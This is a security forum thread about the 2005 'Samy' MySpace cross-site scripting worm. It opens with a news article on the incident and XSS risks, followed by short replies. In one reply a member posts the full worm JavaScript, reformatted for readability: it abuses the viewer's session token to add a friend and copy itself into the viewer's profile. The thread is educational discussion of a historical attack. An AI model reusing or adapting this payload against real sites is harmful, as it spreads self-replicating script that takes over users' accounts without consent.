Results 1 to 8 of 8

Thread: Teen uses worm to boost ratings on MySpace.com

  1. #1
    In And Above Man Black Cluster's Avatar
    Join Date
    Feb 2005
    Posts
    912

    Teen uses worm to boost ratings on MySpace.com

    a
    Using a self-propagating worm that exploits a scripting vulnerability common to most dynamic Web sites, a Los Angeles teenager made himself the most popular member of community Web site MySpace.com earlier this month. While the attack caused little damage, the technique could be used to destroy Web site data or steal private information -- even from enterprise users behind protected networks, according to an Internet security firm.

    The unknown 19-year-old, who used the name "Samy," put a small bit of code in his user profile on MySpace, a 32-million member site, most of whom are under age 30. Whenever Samy's profile was viewed, the code was executed in the background, adding Samy to the viewer's list of friends and writing at the bottom of their profile, "... and Samy is my hero."

    "This is an attack on the users of the Web site, using the Web site itself," said Jeremiah Grossman, chief technical officer at Santa Clara, Calif.-based WhiteHat Security Inc.

    The worm spread by copying itself into each user's profile. Because of MySpace's popularity -- it had 9.5 billion page views in September, making it the fourth most-popular site on the Web, according to comScore Media Metrix -- the worm spread quickly. On his Web site http://namb.la/popular/, Samy wrote that he released the worm just after midnight on Oct. 4. Thirteen hours later, he had added more than 2,500 "friends" and received another 6,400 automated requests to become friends from other users.

    "It didn't take a rocket or computer scientist to figure out that it would be exponential, I just had no idea it would proliferate so quickly," Samy said in an e-mail interview posted Friday at Google Blogoscoped. "When I saw 200 friend requests after the first 8 hours, I was surprised. After 2,000 a few hours later, I was worried. Once it hit 200,000 in another few hours, I wasn't sure what to do but to enjoy whatever freedom I had left, so I went to Chipotle and ordered myself a burrito. I went home and it had hit 1,000,000."

    Samy also received hundreds of messages from angry MySpace users. He wasn't contacted by officials from Los Angeles-based MySpace, though his account was deleted. MySpace was purchased in July by Rupert Murdoch's News Corp. for $580 million. MySpace didn't return requests to comment.

    The attack depended on a long-known but little-protected vulnerability called cross-site scripting (XSS). XSS arises because many Web sites -- apart from static sites that use only simple HTML code -- are dynamic, allowing users to manipulate Web site source code.

    Web sites and Web browsers such as Internet Explorer and Firefox try to block such XSS holes, said Grossman. But the vulnerabilities continue to exist, for which he blames both the browser creators and the Web site operators.

    Standard enterprise network security tools such as firewalls, antivirus and Secure Sockets Layer don't thwart XSS and other Web application attacks because the affected user is already behind his firewall, said Grossman, whose 14-person firm consults businesses on how to prevent such attacks.

    "The network is pretty locked down. But all of the new attacks are targeting where nobody is looking -- the Web application layer," he said.

    Other Web application-layer break-ins include a case earlier this year where more than a hundred applicants to Harvard Business School got an early peek into their admission files by simply modifying the URL typed into their browser address box. In a more serious phishing attack last year, someone injected code into SunTrust Banks Inc.'s Web site designed to send e-mails from SunTrust's Web site asking account holders for account details.

    An early version of an XSS-related vulnerability was discovered in Hotmail in 2001. That flaw allowed an attacker to send an e-mail with malformed HTML code to a Hotmail user, whose browser would interpret the broken commands as legitimate script that would tell the Web site to steal the user's private information.

    Grossman said most such cases go unreported.

    While both Firefox and Internet Explorer promise security enhancements in upcoming versions, Grossman said he doubts they will entirely fix the XSS problems.

    Source
    \"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards - and even then I have my doubts\".....Spaf
    Everytime I learn a new thing, I discover how ignorant I am.- ... Black Cluster

  2. #2
    Right turn Clyde Nokia's Avatar
    Join Date
    Aug 2003
    Location
    Button Moon
    Posts
    1,696
    "Once it hit 200,000 in another few hours, I wasn't sure what to do but to enjoy whatever freedom I had left, so I went to Chipotle and ordered myself a burrito. I went home and it had hit 1,000,000."

    I could think of a million things I would do if i thought arrest was immenent...... ordering a burrito isnt even on the list!!Plane ticket out the state would be number one I think!

    Funny story though!

  3. #3
    Senior Member hesperus's Avatar
    Join Date
    Jan 2005
    Posts
    416
    See : http://www.antionline.com/showthread...546#post866546

    and the technical breakdown: http://www.antionline.com/showthread...hreadid=271357

    As far as I have read there were no consequences for the maker ?????

    Oh, and he's now selling t-shirts -- see TH13's post above.
    .

  4. #4
    Senior Member
    Join Date
    Sep 2005
    Posts
    221
    That reminds me of the very first virus ever, which replicated itself exponentially quite in the same way. Back then, though, the Internet was only a few computers big, so it crashed quickly.
    Definitions: Hacker vs. Cracker
    Gentoo Linux user, which probably says a lot about me..
    AGA member 14460 || KGS : Trevoke and games archived

  5. #5
    Senior Member
    Join Date
    Dec 2004
    Posts
    107
    This sounds familiar. They did this in Superman 3.
    Alright Brain, you don\'t like me, and I don\'t like you. But let\'s just do this, and I can get back to killing you with beer.
    -- Homer S.

  6. #6
    Senior Member
    Join Date
    Apr 2005
    Location
    USA
    Posts
    422
    I tried to de-obfuscate this code by adding spaces and new lines so that I could see the functions better. I'm not too good in Javascript, so I was hoping this would help me get more used to the language. If you see any errors, could you please point them out? thanks!
    Code:
    <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="
    var B=String.fromCharCode(34);
    var A=String.fromCharCode(39);
    
    function g() {
    var C;
    try{
    var D=document.body.createTextRange();
    C=D.htmlText
    }
    catch(e){}
    if(C){return C}
    else{return eval('document.body.inne'+'rHTML')}
    }
    
    function getData(AU){
    M=getFromURL(AU,'friendID');
    L=getFromURL(AU,'Mytoken')
    }
    
    function getQueryParams(){
    var E=document.location.search;
    var F=E.substring(1,E.length).split('&');
    var AS=new Array();
    for(var O=0;
    O<F.length;
    O++)
    {var I=F[O].split('=');
    AS[I[0]]=I[1]
    }
    return AS
    }
    
    var J;
    var AS=getQueryParams();
    var L=AS['Mytoken'];
    var M=AS['friendID'];
    if(location.hostname=='profile.myspace.com') {
    document.location='http://www.myspace.com'+location.pathname+location.search
    }
    else{
    if(!M){
    getData(g())
    }
    main()
    }
    
    function getClientFID(){
    return findIn(g(),'up_launchIC( '+A,A)
    }
    
    function nothing(){
    }
    
    function paramsToString(AV){
    var N=new String();
    var O=0;
    
    for(var P in AV){
    if(O>0){
    N+='&'
    }
    
    var Q=escape(AV[P]);
    while(Q.indexOf('+')!=-1){
    Q=Q.replace('+','%2B')
    }
    while(Q.indexOf('&')!=-1){
    Q=Q.replace('&','%26')
    }
    N+=P+'='+Q;O++
    }
    return N
    }
    
    function httpSend(BH,BI,BJ,BK){
    if(!J){
    return false
    }
    
    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);
    
    if(BJ=='POST'){
    J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    J.setRequestHeader('Content-Length',BK.length)
    }
    J.send(BK);
    return true
    }
    
    function findIn(BF,BB,BC){
    var R=BF.indexOf(BB)+BB.length;
    var S=BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
    }
    
    function getHiddenParameter(BF,BG){
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
    }
    
    function getFromURL(BF,BG){
    var T;
    if(BG=='Mytoken'){T=B}
    else{T='&'}
    var U=BG+'=';
    var V=BF.indexOf(U)+U.length;
    var W=BF.substring(V,V+1024);
    var X=W.indexOf(T);
    var Y=W.substring(0,X);
    return Y
    }
    
    function getXMLObj(){
    var Z=false;
    if(window.XMLHttpRequest){
    try{
    Z=new XMLHttpRequest()}
    catch(e){Z=false}
    }
    else if(window.ActiveXObject){
    try{
    Z=new ActiveXObject('Msxml2.XMLHTTP')
    }
    catch(e){
    try{
    Z=new ActiveXObject('Microsoft.XMLHTTP')
    }
    catch(e){
    Z=false
    }
    }
    }
    return Z
    }
    var AA=g();
    var AB=AA.indexOf('m'+'ycode');
    var AC=AA.substring(AB,AB+4096);
    var AD=AC.indexOf('D'+'IV');
    var AE=AC.substring(0,AD);
    var AF;
    if(AE){
    AE=AE.replace('jav'+'a',A+'jav'+'a');
    AE=AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
    }
    var AG;
    
    function getHome(){
    if(J.readyState!=4){return}
    var AU=J.responseText;
    AG=findIn(AU,'P'+'rofileHeroes','</td>');
    AG=AG.substring(61,AG.length);
    if(AG.indexOf('samy')==-1)
    {
    if(AF)
    {
    AG+=AF;
    var AR=getFromURL(AU,'Mytoken');
    var AS=new Array();
    AS['interestLabel']='heroes';
    AS['submit']='Preview';
    AS['interest']=AG;
    J=getXMLObj();
    httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
    }
    }
    }
    
    function postHero(){
    if(J.readyState!=4){return}
    var AU=J.responseText;
    var AR=getFromURL(AU,'Mytoken');
    var AS=new Array();
    AS['interestLabel']='heroes';
    AS['submit']='Submit';
    AS['interest']=AG;
    AS['hash']=getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }
    
    function main(){
    var AN=getClientFID();
    var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J=getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2=getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
    }
    
    function processxForm(){
    if(xmlhttp2.readyState!=4){return}
    var AU=xmlhttp2.responseText;
    var AQ=getHiddenParameter(AU,'hashcode');
    var AR=getFromURL(AU,'Mytoken');
    var AS=new Array();
    AS['hashcode']=AQ;
    AS['friendID']='11851658';
    AS['submit']='Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }
    
    function httpSend2(BH,BI,BJ,BK){
    if(!xmlhttp2){return false}
    eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
    if(BJ=='POST'){
    xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);
    return true
    }"></DIV>

  7. #7
    Leftie Linux Lover the_JinX's Avatar
    Join Date
    Nov 2001
    Location
    Beverwijk Netherlands
    Posts
    2,534
    metguru, as mentioned a couple of times, read this..

    http://namb.la/popular/tech.html

    It tells you all you need to know about this worm..
    ask any inteligent questions about what you don't understand in the above document in this thread: http://www.antionline.com/showthread...hreadid=271357
    ASCII stupid question, get a stupid ANSI.
    When in Russia, pet a PETSCII.

    Get your ass over to SLAYRadio the best station for C64 Remixes !

  8. #8
    Senior Member
    Join Date
    Apr 2005
    Location
    USA
    Posts
    422
    Yes, I know, I just wanted to see it all put together and each function in an easy-to-read format. I figured it would help me learn better.

    EDIT:

    Also, he didn't totally explain how to do eveything, for example:
    10) Once the POST is complete, we also want to add a hero and the actual code. The code will end up going into the same place where the hero goes so we'll only need one POST for this. However, we need to pre-GET a page in order to get a new hash. But first we have to actually reproduce the code that we want to POST. The easiest way to do this is to actually grab the source of the profile we're on, parse out the code, and then POST. This works except now all sorts of things are garbled! Ah, we need to URL-encode/escape the actual code in order to POST it properly. Weird, still doesn't work. Apparently javascript's URL-encoding and escape() function doesn't escape everything necessary so we'll need to manually do some replacing here in order to get the necessary data escaped. We add a little "but most of all, samy is my hero." to the mix, append all the code right after, and voila. We have self-reproducing code, a worm if you will.
    In this he says what to do, but not what code he uses to do it. For someone like me who doesn't know JavaScript to its fullest, this paragraph doesn't mean very much, unless I have code that i can stick next to it to read along with.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •